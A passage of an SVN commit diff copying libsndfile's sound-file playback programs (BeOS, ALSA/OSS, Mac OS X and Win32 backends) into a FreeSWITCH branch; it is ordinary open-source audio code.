+} /* read_localtime */
+

Deleted: freeswitch/branches/seven/libs/libsndfile/programs/sndfile-play-beos.cpp

Copied: freeswitch/branches/seven/libs/libsndfile/programs/sndfile-play-beos.cpp (from rev 14471, freeswitch/trunk/libs/libsndfile/programs/sndfile-play-beos.cpp) (0 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/programs/sndfile-play-beos.cpp	                        (rev 0)
+++ freeswitch/branches/seven/libs/libsndfile/programs/sndfile-play-beos.cpp	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,144 @@
+/*
+** Copyright (C) 2001 Marcus Overhagen <marcus@overhagen.de>
+**  
+** This program is free software; you can redistribute it and/or modify
+** it under the terms of the GNU General Public License as published by
+** the Free Software Foundation; either version 2 of the License, or
+** (at your option) any later version.
+** 
+** This program is distributed in the hope that it will be useful,
+** but WITHOUT ANY WARRANTY; without even the implied warranty of
+** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+** GNU General Public License for more details.
+** 
+** You should have received a copy of the GNU General Public License
+** along with this program; if not, write to the Free Software 
+** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
+*/
+
+#include	<stdio.h>
+
+#include 	<Application.h>
+#include 	<SoundPlayer.h>
+#include 	<string.h>
+
+#include	<sndfile.h>
+
+#define	BUFFER_LEN		1024
+
+/*------------------------------------------------------------------------------
+**	BeOS functions for playing a sound.
+*/
+
+#if defined (__BEOS__)
+
+struct shared_data
+{
+	BSoundPlayer *player;
+	SNDFILE *sndfile;
+	SF_INFO sfinfo;	
+	sem_id finished;
+};
+
+static void 
+buffer_callback(void *theCookie, void *buf, size_t size, const media_raw_audio_format &format) 
+{
+	shared_data *data = (shared_data *)theCookie;
+	short *buffer = (short *)buf;
+	int count = size / sizeof(short);
+	int m, readcount;
+
+	if (!data->player->HasData())
+		return;
+
+	readcount = sf_read_short(data->sndfile, buffer, count);
+	if (readcount == 0) 
+	{	data->player->SetHasData(false);		
+		release_sem(data->finished);
+		}
+	if (readcount < count) 
+	{	for (m = readcount ; m < count ; m++)
+			buffer [m] = 0 ;
+		}
+	if (data->sfinfo.pcmbitwidth < 16) 
+	{	for (m = 0 ; m < count ; m++)
+			buffer [m] *= 256 ;
+		}
+}
+
+static void
+beos_play (int argc, char *argv [])
+{
+	shared_data data;
+	status_t status;
+	int	k;
+
+	/* BSoundPlayer requires a BApplication object */
+	BApplication app("application/x-vnd.MarcusOverhagen-sfplay");
+
+	for (k = 1 ; k < argc ; k++)
+	{	printf ("Playing %s\n", argv [k]) ;	
+		if (! (data.sndfile = sf_open_read (argv [k], &data.sfinfo)))
+		{	sf_perror (NULL) ;
+			continue ;
+			} ;
+			
+		if (data.sfinfo.channels < 1 || data.sfinfo.channels > 2)
+		{	printf ("Error : channels = %d.\n", data.sfinfo.channels) ;
+			sf_close (data.sndfile) ;
+			continue ;
+			} ;		
+
+		data.finished = create_sem(0,"finished");			
+
+		media_raw_audio_format format = 
+		{ 	data.sfinfo.samplerate,
+			data.sfinfo.channels,
+			media_raw_audio_format::B_AUDIO_SHORT,
+			B_HOST_IS_LENDIAN ? B_MEDIA_LITTLE_ENDIAN : B_MEDIA_BIG_ENDIAN,
+			BUFFER_LEN * sizeof(short)
+			};
+
+		BSoundPlayer player(&format,"player",buffer_callback,NULL,&data);
+		data.player = &player;
+		
+		if ((status = player.InitCheck()) != B_OK) 
+		{
+			printf ("Error : BSoundPlayer init failed, %s.\n", strerror(status)) ;
+			delete_sem(data.finished);
+			sf_close (data.sndfile) ;
+			continue ;
+			}
+
+		player.SetVolume(1.0);
+		player.Start();
+		player.SetHasData(true);
+		acquire_sem(data.finished);
+		player.Stop();
+		delete_sem(data.finished);
+		
+		sf_close (data.sndfile) ;
+
+		} ;
+
+} /* beos_play */
+
+#endif
+
+/*==============================================================================
+**	Main function.
+*/
+
+int 
+main (int argc, char *argv [])
+{
+	if (argc < 2)
+	{	printf ("Usage : %s <input sound file>\n\n", argv [0]) ;
+		return 1 ;
+		} ;
+	
+	beos_play (argc, argv) ;
+
+	return 0 ;
+} /* main */
+		

Deleted: freeswitch/branches/seven/libs/libsndfile/programs/sndfile-play.c

Copied: freeswitch/branches/seven/libs/libsndfile/programs/sndfile-play.c (from rev 14471, freeswitch/trunk/libs/libsndfile/programs/sndfile-play.c) (0 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/programs/sndfile-play.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/libsndfile/programs/sndfile-play.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,958 @@
+/*
+** Copyright (C) 1999-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
+**
+** All rights reserved.
+**
+** Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+**
+**     * Redistributions of source code must retain the above copyright
+**       notice, this list of conditions and the following disclaimer.
+**     * Redistributions in binary form must reproduce the above copyright
+**       notice, this list of conditions and the following disclaimer in
+**       the documentation and/or other materials provided with the
+**       distribution.
+**     * Neither the author nor the names of any contributors may be used
+**       to endorse or promote products derived from this software without
+**       specific prior written permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
+** TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+** PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+** CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+** EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+** PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
+** OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
+** WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+** OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
+** ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+*/
+
+#include "sfconfig.h"
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <errno.h>
+
+#if HAVE_UNISTD_H
+#include <unistd.h>
+#endif
+
+#if HAVE_ALSA_ASOUNDLIB_H
+	#define ALSA_PCM_NEW_HW_PARAMS_API
+	#define ALSA_PCM_NEW_SW_PARAMS_API
+	#include <alsa/asoundlib.h>
+	#include <sys/time.h>
+#endif
+
+#if defined (__linux__)
+	#include 	<fcntl.h>
+	#include 	<sys/ioctl.h>
+	#include 	<sys/soundcard.h>
+
+#elif (defined (__MACH__) && defined (__APPLE__))
+	#include <Carbon.h>
+	#include <CoreAudio/AudioHardware.h>
+
+#elif (defined (sun) && defined (unix))
+	#include <fcntl.h>
+	#include <sys/ioctl.h>
+	#include <sys/audioio.h>
+
+#elif (OS_IS_WIN32 == 1)
+	#include <windows.h>
+	#include <mmsystem.h>
+
+#endif
+
+#include	<sndfile.h>
+
+#define	SIGNED_SIZEOF(x)	((int) sizeof (x))
+#define	BUFFER_LEN			(2048)
+
+/*------------------------------------------------------------------------------
+**	Linux/OSS functions for playing a sound.
+*/
+
+#if HAVE_ALSA_ASOUNDLIB_H
+
+static snd_pcm_t * alsa_open (int channels, unsigned srate, int realtime) ;
+static int alsa_write_float (snd_pcm_t *alsa_dev, float *data, int frames, int channels) ;
+
+static void
+alsa_play (int argc, char *argv [])
+{	static float buffer [BUFFER_LEN] ;
+	SNDFILE *sndfile ;
+	SF_INFO sfinfo ;
+	snd_pcm_t * alsa_dev ;
+	int		k, readcount, subformat ;
+
+	for (k = 1 ; k < argc ; k++)
+	{	memset (&sfinfo, 0, sizeof (sfinfo)) ;
+
+		printf ("Playing %s\n", argv [k]) ;
+		if (! (sndfile = sf_open (argv [k], SFM_READ, &sfinfo)))
+		{	puts (sf_strerror (NULL)) ;
+			continue ;
+			} ;
+
+		if (sfinfo.channels < 1 || sfinfo.channels > 2)
+		{	printf ("Error : channels = %d.\n", sfinfo.channels) ;
+			continue ;
+			} ;
+
+		if ((alsa_dev = alsa_open (sfinfo.channels, (unsigned) sfinfo.samplerate, SF_FALSE)) == NULL)
+			continue ;
+
+		subformat = sfinfo.format & SF_FORMAT_SUBMASK ;
+
+		if (subformat == SF_FORMAT_FLOAT || subformat == SF_FORMAT_DOUBLE)
+		{	double	scale ;
+			int 	m ;
+
+			sf_command (sndfile, SFC_CALC_SIGNAL_MAX, &scale, sizeof (scale)) ;
+			if (scale < 1e-10)
+				scale = 1.0 ;
+			else
+				scale = 32700.0 / scale ;
+
+			while ((readcount = sf_read_float (sndfile, buffer, BUFFER_LEN)))
+			{	for (m = 0 ; m < readcount ; m++)
+					buffer [m] *= scale ;
+				alsa_write_float (alsa_dev, buffer, BUFFER_LEN / sfinfo.channels, sfinfo.channels) ;
+				} ;
+			}
+		else
+		{	while ((readcount = sf_read_float (sndfile, buffer, BUFFER_LEN)))
+				alsa_write_float (alsa_dev, buffer, BUFFER_LEN / sfinfo.channels, sfinfo.channels) ;
+			} ;
+
+		snd_pcm_drain (alsa_dev) ;
+		snd_pcm_close (alsa_dev) ;
+
+		sf_close (sndfile) ;
+		} ;
+
+	return ;
+} /* alsa_play */
+
+static snd_pcm_t *
+alsa_open (int channels, unsigned samplerate, int realtime)
+{	const char * device = "default" ;
+	snd_pcm_t *alsa_dev = NULL ;
+	snd_pcm_hw_params_t *hw_params ;
+	snd_pcm_uframes_t buffer_size ;
+	snd_pcm_uframes_t alsa_period_size, alsa_buffer_frames ;
+	snd_pcm_sw_params_t *sw_params ;
+
+	int err ;
+
+	if (realtime)
+	{	alsa_period_size = 256 ;
+		alsa_buffer_frames = 3 * alsa_period_size ;
+		}
+	else
+	{	alsa_period_size = 1024 ;
+		alsa_buffer_frames = 4 * alsa_period_size ;
+		} ;
+
+	if ((err = snd_pcm_open (&alsa_dev, device, SND_PCM_STREAM_PLAYBACK, 0)) < 0)
+	{	fprintf (stderr, "cannot open audio device \"%s\" (%s)\n", device, snd_strerror (err)) ;
+		goto catch_error ;
+		} ;
+
+	snd_pcm_nonblock (alsa_dev, 0) ;
+
+	if ((err = snd_pcm_hw_params_malloc (&hw_params)) < 0)
+	{	fprintf (stderr, "cannot allocate hardware parameter structure (%s)\n", snd_strerror (err)) ;
+		goto catch_error ;
+		} ;
+
+	if ((err = snd_pcm_hw_params_any (alsa_dev, hw_params)) < 0)
+	{	fprintf (stderr, "cannot initialize hardware parameter structure (%s)\n", snd_strerror (err)) ;
+		goto catch_error ;
+		} ;
+
+	if ((err = snd_pcm_hw_params_set_access (alsa_dev, hw_params, SND_PCM_ACCESS_RW_INTERLEAVED)) < 0)
+	{	fprintf (stderr, "cannot set access type (%s)\n", snd_strerror (err)) ;
+		goto catch_error ;
+		} ;
+
+	if ((err = snd_pcm_hw_params_set_format (alsa_dev, hw_params, SND_PCM_FORMAT_FLOAT)) < 0)
+	{	fprintf (stderr, "cannot set sample format (%s)\n", snd_strerror (err)) ;
+		goto catch_error ;
+		} ;
+
+	if ((err = snd_pcm_hw_params_set_rate_near (alsa_dev, hw_params, &samplerate, 0)) < 0)
+	{	fprintf (stderr, "cannot set sample rate (%s)\n", snd_strerror (err)) ;
+		goto catch_error ;
+		} ;
+
+	if ((err = snd_pcm_hw_params_set_channels (alsa_dev, hw_params, channels)) < 0)
+	{	fprintf (stderr, "cannot set channel count (%s)\n", snd_strerror (err)) ;
+		goto catch_error ;
+		} ;
+
+	if ((err = snd_pcm_hw_params_set_buffer_size_near (alsa_dev, hw_params, &alsa_buffer_frames)) < 0)
+	{	fprintf (stderr, "cannot set buffer size (%s)\n", snd_strerror (err)) ;
+		goto catch_error ;
+		} ;
+
+	if ((err = snd_pcm_hw_params_set_period_size_near (alsa_dev, hw_params, &alsa_period_size, 0)) < 0)
+	{	fprintf (stderr, "cannot set period size (%s)\n", snd_strerror (err)) ;
+		goto catch_error ;
+		} ;
+
+	if ((err = snd_pcm_hw_params (alsa_dev, hw_params)) < 0)
+	{	fprintf (stderr, "cannot set parameters (%s)\n", snd_strerror (err)) ;
+		goto catch_error ;
+		} ;
+
+	/* extra check: if we have only one period, this code won't work */
+	snd_pcm_hw_params_get_period_size (hw_params, &alsa_period_size, 0) ;
+	snd_pcm_hw_params_get_buffer_size (hw_params, &buffer_size) ;
+	if (alsa_period_size == buffer_size)
+	{	fprintf (stderr, "Can't use period equal to buffer size (%lu == %lu)", alsa_period_size, buffer_size) ;
+		goto catch_error ;
+		} ;
+
+	snd_pcm_hw_params_free (hw_params) ;
+
+	if ((err = snd_pcm_sw_params_malloc (&sw_params)) != 0)
+	{	fprintf (stderr, "%s: snd_pcm_sw_params_malloc: %s", __func__, snd_strerror (err)) ;
+		goto catch_error ;
+		} ;
+
+	if ((err = snd_pcm_sw_params_current (alsa_dev, sw_params)) != 0)
+	{	fprintf (stderr, "%s: snd_pcm_sw_params_current: %s", __func__, snd_strerror (err)) ;
+		goto catch_error ;
+		} ;
+
+	/* note: set start threshold to delay start until the ring buffer is full */
+	snd_pcm_sw_params_current (alsa_dev, sw_params) ;
+
+	if ((err = snd_pcm_sw_params_set_start_threshold (alsa_dev, sw_params, buffer_size)) < 0)
+	{	fprintf (stderr, "cannot set start threshold (%s)\n", snd_strerror (err)) ;
+		goto catch_error ;
+		} ;
+
+	if ((err = snd_pcm_sw_params (alsa_dev, sw_params)) != 0)
+	{	fprintf (stderr, "%s: snd_pcm_sw_params: %s", __func__, snd_strerror (err)) ;
+		goto catch_error ;
+		} ;
+
+	snd_pcm_sw_params_free (sw_params) ;
+
+	snd_pcm_reset (alsa_dev) ;
+
+catch_error :
+
+	if (err < 0 && alsa_dev != NULL)
+	{	snd_pcm_close (alsa_dev) ;
+		return NULL ;
+		} ;
+
+	return alsa_dev ;
+} /* alsa_open */
+
+static int
+alsa_write_float (snd_pcm_t *alsa_dev, float *data, int frames, int channels)
+{	static	int epipe_count = 0 ;
+
+	int total = 0 ;
+	int retval ;
+
+	if (epipe_count > 0)
+		epipe_count -- ;
+
+	while (total < frames)
+	{	retval = snd_pcm_writei (alsa_dev, data + total * channels, frames - total) ;
+
+		if (retval >= 0)
+		{	total += retval ;
+			if (total == frames)
+				return total ;
+
+			continue ;
+			} ;
+
+		switch (retval)
+		{	case -EAGAIN :
+					puts ("alsa_write_float: EAGAIN") ;
+					continue ;
+					break ;
+
+			case -EPIPE :
+					if (epipe_count > 0)
+					{	printf ("alsa_write_float: EPIPE %d\n", epipe_count) ;
+						if (epipe_count > 140)
+							return retval ;
+						} ;
+					epipe_count += 100 ;
+
+#if 0
+					if (0)
+					{	snd_pcm_status_t *status ;
+
+						snd_pcm_status_alloca (&status) ;
+						if ((retval = snd_pcm_status (alsa_dev, status)) < 0)
+							fprintf (stderr, "alsa_out: xrun. can't determine length\n") ;
+						else if (snd_pcm_status_get_state (status) == SND_PCM_STATE_XRUN)
+						{	struct timeval now, diff, tstamp ;
+
+							gettimeofday (&now, 0) ;
+							snd_pcm_status_get_trigger_tstamp (status, &tstamp) ;
+							timersub (&now, &tstamp, &diff) ;
+
+							fprintf (stderr, "alsa_write_float xrun: of at least %.3f msecs. resetting stream\n",
+									diff.tv_sec * 1000 + diff.tv_usec / 1000.0) ;
+							}
+						else
+							fprintf (stderr, "alsa_write_float: xrun. can't determine length\n") ;
+						} ;
+#endif
+
+					snd_pcm_prepare (alsa_dev) ;
+					break ;
+
+			case -EBADFD :
+					fprintf (stderr, "alsa_write_float: Bad PCM state.n") ;
+					return 0 ;
+					break ;
+
+			case -ESTRPIPE :
+					fprintf (stderr, "alsa_write_float: Suspend event.n") ;
+					return 0 ;
+					break ;
+
+			case -EIO :
+					puts ("alsa_write_float: EIO") ;
+					return 0 ;
+
+			default :
+					fprintf (stderr, "alsa_write_float: retval = %d\n", retval) ;
+					return 0 ;
+					break ;
+			} ; /* switch */
+		} ; /* while */
+
+	return total ;
+} /* alsa_write_float */
+
+#endif /* HAVE_ALSA_ASOUNDLIB_H */
+
+/*------------------------------------------------------------------------------
+**	Linux/OSS functions for playing a sound.
+*/
+
+#if defined (__linux__)
+
+static	int	linux_open_dsp_device (int channels, int srate) ;
+
+static void
+linux_play (int argc, char *argv [])
+{	static short buffer [BUFFER_LEN] ;
+	SNDFILE *sndfile ;
+	SF_INFO sfinfo ;
+	int		k, audio_device, readcount, writecount, subformat ;
+
+	for (k = 1 ; k < argc ; k++)
+	{	memset (&sfinfo, 0, sizeof (sfinfo)) ;
+
+		printf ("Playing %s\n", argv [k]) ;
+		if (! (sndfile = sf_open (argv [k], SFM_READ, &sfinfo)))
+		{	puts (sf_strerror (NULL)) ;
+			continue ;
+			} ;
+
+		if (sfinfo.channels < 1 || sfinfo.channels > 2)
+		{	printf ("Error : channels = %d.\n", sfinfo.channels) ;
+			continue ;
+			} ;
+
+		audio_device = linux_open_dsp_device (sfinfo.channels, sfinfo.samplerate) ;
+
+		subformat = sfinfo.format & SF_FORMAT_SUBMASK ;
+
+		if (subformat == SF_FORMAT_FLOAT || subformat == SF_FORMAT_DOUBLE)
+		{	static float float_buffer [BUFFER_LEN] ;
+			double	scale ;
+			int 	m ;
+
+			sf_command (sndfile, SFC_CALC_SIGNAL_MAX, &scale, sizeof (scale)) ;
+			if (scale < 1e-10)
+				scale = 1.0 ;
+			else
+				scale = 32700.0 / scale ;
+
+			while ((readcount = sf_read_float (sndfile, float_buffer, BUFFER_LEN)))
+			{	for (m = 0 ; m < readcount ; m++)
+					buffer [m] = scale * float_buffer [m] ;
+				writecount = write (audio_device, buffer, readcount * sizeof (short)) ;
+				} ;
+			}
+		else
+		{	while ((readcount = sf_read_short (sndfile, buffer, BUFFER_LEN)))
+				writecount = write (audio_device, buffer, readcount * sizeof (short)) ;
+			} ;
+
+		if (ioctl (audio_device, SNDCTL_DSP_POST, 0) == -1)
+			perror ("ioctl (SNDCTL_DSP_POST) ") ;
+
+		if (ioctl (audio_device, SNDCTL_DSP_SYNC, 0) == -1)
+			perror ("ioctl (SNDCTL_DSP_SYNC) ") ;
+
+		close (audio_device) ;
+
+		sf_close (sndfile) ;
+		} ;
+
+	return ;
+} /* linux_play */
+
+static int
+linux_open_dsp_device (int channels, int srate)
+{	int fd, stereo, fmt ;
+
+	if ((fd = open ("/dev/dsp", O_WRONLY, 0)) == -1 &&
+		(fd = open ("/dev/sound/dsp", O_WRONLY, 0)) == -1)
+	{	perror ("linux_open_dsp_device : open ") ;
+		exit (1) ;
+		} ;
+
+	stereo = 0 ;
+	if (ioctl (fd, SNDCTL_DSP_STEREO, &stereo) == -1)
+	{ 	/* Fatal error */
+		perror ("linux_open_dsp_device : stereo ") ;
+		exit (1) ;
+		} ;
+
+	if (ioctl (fd, SNDCTL_DSP_RESET, 0))
+	{	perror ("linux_open_dsp_device : reset ") ;
+		exit (1) ;
+		} ;
+
+	fmt = CPU_IS_BIG_ENDIAN ? AFMT_S16_BE : AFMT_S16_LE ;
+	if (ioctl (fd, SNDCTL_DSP_SETFMT, &fmt) != 0)
+	{	perror ("linux_open_dsp_device : set format ") ;
+		exit (1) ;
+  		} ;
+
+	if (ioctl (fd, SNDCTL_DSP_CHANNELS, &channels) != 0)
+	{	perror ("linux_open_dsp_device : channels ") ;
+		exit (1) ;
+		} ;
+
+	if (ioctl (fd, SNDCTL_DSP_SPEED, &srate) != 0)
+	{	perror ("linux_open_dsp_device : sample rate ") ;
+		exit (1) ;
+		} ;
+
+	if (ioctl (fd, SNDCTL_DSP_SYNC, 0) != 0)
+	{	perror ("linux_open_dsp_device : sync ") ;
+		exit (1) ;
+		} ;
+
+	return 	fd ;
+} /* linux_open_dsp_device */
+
+#endif /* __linux__ */
+
+/*------------------------------------------------------------------------------
+**	Mac OS X functions for playing a sound.
+*/
+
+#if (defined (__MACH__) && defined (__APPLE__)) /* MacOSX */
+
+typedef struct
+{	AudioStreamBasicDescription		format ;
+
+	UInt32 			buf_size ;
+	AudioDeviceID 	device ;
+
+	SNDFILE 		*sndfile ;
+	SF_INFO 		sfinfo ;
+
+	int				fake_stereo ;
+	int				done_playing ;
+} MacOSXAudioData ;
+
+#include <math.h>
+
+static OSStatus
+macosx_audio_out_callback (AudioDeviceID device, const AudioTimeStamp* current_time,
+	const AudioBufferList* data_in, const AudioTimeStamp* time_in,
+	AudioBufferList*	data_out, const AudioTimeStamp* time_out,
+	void* client_data)
+{	MacOSXAudioData	*audio_data ;
+	int		size, sample_count, read_count, k ;
+	float	*buffer ;
+
+	/* Prevent compiler warnings. */
+	device = device ;
+	current_time = current_time ;
+	data_in = data_in ;
+	time_in = time_in ;
+	time_out = time_out ;
+
+	audio_data = (MacOSXAudioData*) client_data ;
+
+	size = data_out->mBuffers [0].mDataByteSize ;
+	sample_count = size / sizeof (float) ;
+
+	buffer = (float*) data_out->mBuffers [0].mData ;
+
+	if (audio_data->fake_stereo != 0)
+	{	read_count = sf_read_float (audio_data->sndfile, buffer, sample_count / 2) ;
+
+		for (k = read_count - 1 ; k >= 0 ; k--)
+		{	buffer [2 * k	] = buffer [k] ;
+			buffer [2 * k + 1] = buffer [k] ;
+			} ;
+		read_count *= 2 ;
+		}
+	else
+		read_count = sf_read_float (audio_data->sndfile, buffer, sample_count) ;
+
+	/* Fill the remainder with zeroes. */
+	if (read_count < sample_count)
+	{	if (audio_data->fake_stereo == 0)
+			memset (&(buffer [read_count]), 0, (sample_count - read_count) * sizeof (float)) ;
+		/* Tell the main application to terminate. */
+		audio_data->done_playing = SF_TRUE ;
+		} ;
+
+	return noErr ;
+} /* macosx_audio_out_callback */
+
+static void
+macosx_play (int argc, char *argv [])
+{	MacOSXAudioData 	audio_data ;
+	OSStatus	err ;
+	UInt32		count, buffer_size ;
+	int 		k ;
+
+	audio_data.fake_stereo = 0 ;
+	audio_data.device = kAudioDeviceUnknown ;
+
+	/*  get the default output device for the HAL */
+	count = sizeof (AudioDeviceID) ;
+	if ((err = AudioHardwareGetProperty (kAudioHardwarePropertyDefaultOutputDevice,
+				&count, (void *) &(audio_data.device))) != noErr)
+	{	printf ("AudioHardwareGetProperty (kAudioDevicePropertyDefaultOutputDevice) failed.\n") ;
+		return ;
+		} ;
+
+	/*  get the buffersize that the default device uses for IO */
+	count = sizeof (UInt32) ;
+	if ((err = AudioDeviceGetProperty (audio_data.device, 0, false, kAudioDevicePropertyBufferSize,
+				&count, &buffer_size)) != noErr)
+	{	printf ("AudioDeviceGetProperty (kAudioDevicePropertyBufferSize) failed.\n") ;
+		return ;
+		} ;
+
+	/*  get a description of the data format used by the default device */
+	count = sizeof (AudioStreamBasicDescription) ;
+	if ((err = AudioDeviceGetProperty (audio_data.device, 0, false, kAudioDevicePropertyStreamFormat,
+				&count, &(audio_data.format))) != noErr)
+	{	printf ("AudioDeviceGetProperty (kAudioDevicePropertyStreamFormat) failed.\n") ;
+		return ;
+		} ;
+
+	/* Base setup completed. Now play files. */
+	for (k = 1 ; k < argc ; k++)
+	{	printf ("Playing %s\n", argv [k]) ;
+		if (! (audio_data.sndfile = sf_open (argv [k], SFM_READ, &(audio_data.sfinfo))))
+		{	puts (sf_strerror (NULL)) ;
+			continue ;
+			} ;
+
+		if (audio_data.sfinfo.channels < 1 || audio_data.sfinfo.channels > 2)
+		{	printf ("Error : channels = %d.\n", audio_data.sfinfo.channels) ;
+			continue ;
+			} ;
+
+		audio_data.format.mSampleRate = audio_data.sfinfo.samplerate ;
+
+		if (audio_data.sfinfo.channels == 1)
+		{	audio_data.format.mChannelsPerFrame = 2 ;
+			audio_data.fake_stereo = 1 ;
+			}
+		else
+		audio_data.format.mChannelsPerFrame = audio_data.sfinfo.channels ;
+
+		if ((err = AudioDeviceSetProperty (audio_data.device, NULL, 0, false, kAudioDevicePropertyStreamFormat,
+					sizeof (AudioStreamBasicDescription), &(audio_data.format))) != noErr)
+		{	printf ("AudioDeviceSetProperty (kAudioDevicePropertyStreamFormat) failed.\n") ;
+			return ;
+			} ;
+
+		/*  we want linear pcm */
+		if (audio_data.format.mFormatID != kAudioFormatLinearPCM)
+			return ;
+
+		/* Fire off the device. */
+		if ((err = AudioDeviceAddIOProc (audio_data.device, macosx_audio_out_callback,
+				(void *) &audio_data)) != noErr)
+		{	printf ("AudioDeviceAddIOProc failed.\n") ;
+			return ;
+			} ;
+
+		err = AudioDeviceStart (audio_data.device, macosx_audio_out_callback) ;
+		if	(err != noErr)
+			return ;
+
+		audio_data.done_playing = SF_FALSE ;
+
+		while (audio_data.done_playing == SF_FALSE)
+			usleep (10 * 1000) ; /* 10 000 milliseconds. */
+
+		if ((err = AudioDeviceStop (audio_data.device, macosx_audio_out_callback)) != noErr)
+		{	printf ("AudioDeviceStop failed.\n") ;
+			return ;
+			} ;
+
+		err = AudioDeviceRemoveIOProc (audio_data.device, macosx_audio_out_callback) ;
+		if (err != noErr)
+		{	printf ("AudioDeviceRemoveIOProc failed.\n") ;
+			return ;
+			} ;
+
+		sf_close (audio_data.sndfile) ;
+		} ;
+
+	return ;
+} /* macosx_play */
+
+#endif /* MacOSX */
+
+
+/*------------------------------------------------------------------------------
+**	Win32 functions for playing a sound.
+**
+**	This API sucks. Its needlessly complicated and is *WAY* too loose with
+**	passing pointers arounf in integers and and using char* pointers to
+**  point to data instead of short*. It plain sucks!
+*/
+
+#if (OS_IS_WIN32 == 1)
+
+#define	WIN32_BUFFER_LEN	(1<<15)
+
+typedef struct
+{	HWAVEOUT	hwave ;
+	WAVEHDR		whdr [2] ;
+
+	CRITICAL_SECTION	mutex ;		/* to control access to BuffersInUSe */
+	HANDLE		Event ;			/* signal that a buffer is free */
+
+	short		buffer [WIN32_BUFFER_LEN / sizeof (short)] ;
+	int			current, bufferlen ;
+	int			BuffersInUse ;
+
+	SNDFILE 	*sndfile ;
+	SF_INFO 	sfinfo ;
+
+	sf_count_t	remaining ;
+} Win32_Audio_Data ;
+
+
+static void
+win32_play_data (Win32_Audio_Data *audio_data)
+{	int thisread, readcount ;
+
+	/* fill a buffer if there is more data and we can read it sucessfully */
+	readcount = (audio_data->remaining > audio_data->bufferlen) ? audio_data->bufferlen : (int) audio_data->remaining ;
+
+	thisread = (int) sf_read_short (audio_data->sndfile, (short *) (audio_data->whdr [audio_data->current].lpData), readcount) ;
+
+	audio_data->remaining -= thisread ;
+
+	if (thisread > 0)
+	{	/* Fix buffer length if this is only a partial block. */
+		if (thisread < audio_data->bufferlen)
+			audio_data->whdr [audio_data->current].dwBufferLength = thisread * sizeof (short) ;
+
+		/* Queue the WAVEHDR */
+		waveOutWrite (audio_data->hwave, (LPWAVEHDR) &(audio_data->whdr [audio_data->current]), sizeof (WAVEHDR)) ;
+
+		/* count another buffer in use */
+		EnterCriticalSection (&audio_data->mutex) ;
+		audio_data->BuffersInUse ++ ;
+		LeaveCriticalSection (&audio_data->mutex) ;
+
+		/* use the other buffer next time */
+		audio_data->current = (audio_data->current + 1) % 2 ;
+		} ;
+
+	return ;
+} /* win32_play_data */
+
+static void CALLBACK
+win32_audio_out_callback (HWAVEOUT hwave, UINT msg, DWORD_PTR data, DWORD param1, DWORD param2)
+{	Win32_Audio_Data	*audio_data ;
+
+	/* Prevent compiler warnings. */
+	hwave = hwave ;
+	param1 = param2 ;
+
+	if (data == 0)
+		return ;
+
+	/*
+	** I consider this technique of passing a pointer via an integer as
+	** fundamentally broken but thats the way microsoft has defined the
+	** interface.
+	*/
+	audio_data = (Win32_Audio_Data*) data ;
+
+	/* let main loop know a buffer is free */
+	if (msg == MM_WOM_DONE)
+	{	EnterCriticalSection (&audio_data->mutex) ;
+		audio_data->BuffersInUse -- ;
+		LeaveCriticalSection (&audio_data->mutex) ;
+		SetEvent (audio_data->Event) ;
+		} ;
+
+	return ;
+} /* win32_audio_out_callback */
+
+static void
+win32_play (int argc, char *argv [])
+{	Win32_Audio_Data	audio_data ;
+
+	WAVEFORMATEX wf ;
+	int	k, error ;
+
+	audio_data.sndfile = NULL ;
+	audio_data.hwave = 0 ;
+
+	for (k = 1 ; k < argc ; k++)
+	{	printf ("Playing %s\n", argv [k]) ;
+
+		if (! (audio_data.sndfile = sf_open (argv [k], SFM_READ, &(audio_data.sfinfo))))
+		{	puts (sf_strerror (NULL)) ;
+			continue ;
+			} ;
+
+		audio_data.remaining = audio_data.sfinfo.frames * audio_data.sfinfo.channels ;
+		audio_data.current = 0 ;
+
+		InitializeCriticalSection (&audio_data.mutex) ;
+		audio_data.Event = CreateEvent (0, FALSE, FALSE, 0) ;
+
+		wf.nChannels = audio_data.sfinfo.channels ;
+		wf.wFormatTag = WAVE_FORMAT_PCM ;
+		wf.cbSize = 0 ;
+		wf.wBitsPerSample = 16 ;
+
+		wf.nSamplesPerSec = audio_data.sfinfo.samplerate ;
+
+		wf.nBlockAlign = audio_data.sfinfo.channels * sizeof (short) ;
+
+		wf.nAvgBytesPerSec = wf.nBlockAlign * wf.nSamplesPerSec ;
+
+		error = waveOutOpen (&(audio_data.hwave), WAVE_MAPPER, &wf, (DWORD_PTR) win32_audio_out_callback,
+							(DWORD_PTR) &audio_data, CALLBACK_FUNCTION) ;
+		if (error)
+		{	puts ("waveOutOpen failed.") ;
+			audio_data.hwave = 0 ;
+			continue ;
+			} ;
+
+		audio_data.whdr [0].lpData = (char*) audio_data.buffer ;
+		audio_data.whdr [1].lpData = ((char*) audio_data.buffer) + sizeof (audio_data.buffer) / 2 ;
+
+		audio_data.whdr [0].dwBufferLength = sizeof (audio_data.buffer) / 2 ;
+		audio_data.whdr [1].dwBufferLength = sizeof (audio_data.buffer) / 2 ;
